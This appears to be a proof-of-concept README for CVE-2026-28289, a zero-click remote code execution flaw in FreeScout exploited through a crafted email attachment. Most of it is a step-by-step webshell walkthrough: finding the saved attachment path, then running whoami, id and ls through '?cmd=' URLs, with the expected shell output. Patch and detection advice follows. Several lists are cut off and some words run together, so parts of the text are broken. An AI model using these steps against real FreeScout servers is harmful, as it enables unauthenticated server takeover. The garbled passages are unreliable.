
CVE-2026-28289

Zero-Click Unauthenticated RCE in FreeScout via Email Attachment Bypass
CVE-2026-28289, nicknamed Mail2Shell, is a critical zero-click Remote Code Execution (RCE) vulnerability affecting FreeScout.
An attacker can send a specially crafted email to a FreeScout mailbox and gain remote shell access to the underlying server — without authentication and without user interaction.
Attacker sends an email with a specially crafted attachment.
FreeScout attempts to block dangerous files like .htaccess, but the attacker:
The attacker accesses the uploaded file via web path and executes arbitrary commands.
Result:
# Remote shell access achieved
whoami
www-data
✅ Email sent successfully! (Zero-Click RCE triggered)
You will also see the instructions for the next steps printed.
find command on your FreeScout server via SSHIt will immediately return the full real path to the uploaded file, for example:
/var/www/html/storage/attachment/2026/03/05/15/webshell.txt
(or similar date/time folder — this confirms FreeScout saved the attachment automatically).
Copy the path from step 2 and open this URL:
http://your-freescout-domain.com/storage/attachment/2026/03/05/15/webshell.txt?cmd=whoami
You will see this exact output (plain text):
www-data
(Or whatever the Apache/PHP user is on your server — usually www-data, apache, or nobody).
Now change the command and refresh:
http://your-freescout-domain.com/storage/attachment/2026/03/05/15/webshell.txt?cmd=id
You will see:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
And for ls -la:
total 12
drwxr-xr-x 2 www-data www-data 4096 Mar 5 15:00 .
drwxr-xr-x 8 www-data www-data 4096 Mar 5 14:00 ..
-rw-r--r-- 1 www-data www-data 87 Mar 5 15:00 webshell.txt
This output appears directly in the browser page (inside <pre> tags from the webshell). No error, no PHP source code, no 404.
This means you have full remote code execution on the server — the .htaccess + zero-width space bypass worked perfectly, and the email attachment was processed without any user interaction.
All versions of FreeScout:
<= 1.8.206
Upgrade immediately to:
1.8.207 or later
AllowOverride All in Apache configLook for:
.htaccess files/storage/attachments/Indicators of compromise may include:
.htaccess files in attachment foldersEmail → Malicious Attachment (Unicode prefixed filename)
↓
Saved to predictable path
↓
Web-accessible execution
↓
Remote shell
This issue bypassed protections added in:
Demonstrating incomplete filename sanitization logic.
| Risk Area | Impact |
|---|---|
| Confidentiality | 🔴 High |
| Integrity | 🔴 High |
| Availability | 🔴 High |
If you run a self-hosted instance of FreeScout:
🔥 Patch immediately. 💡 Assume compromise if running vulnerable versions exposed to the internet. 🛡 Perform log review and integrity checks.
| Field | Value |
|---|
| CVE ID | CVE-2026-28289 |
| Severity | 🔴 Critical |
| CVSS | 10.0 (Maximum) |
| Attack Vector | Remote (Email) |
| Authentication Required | ❌ None |
| User Interaction | ❌ None |
| Impact | Full Server Compromise |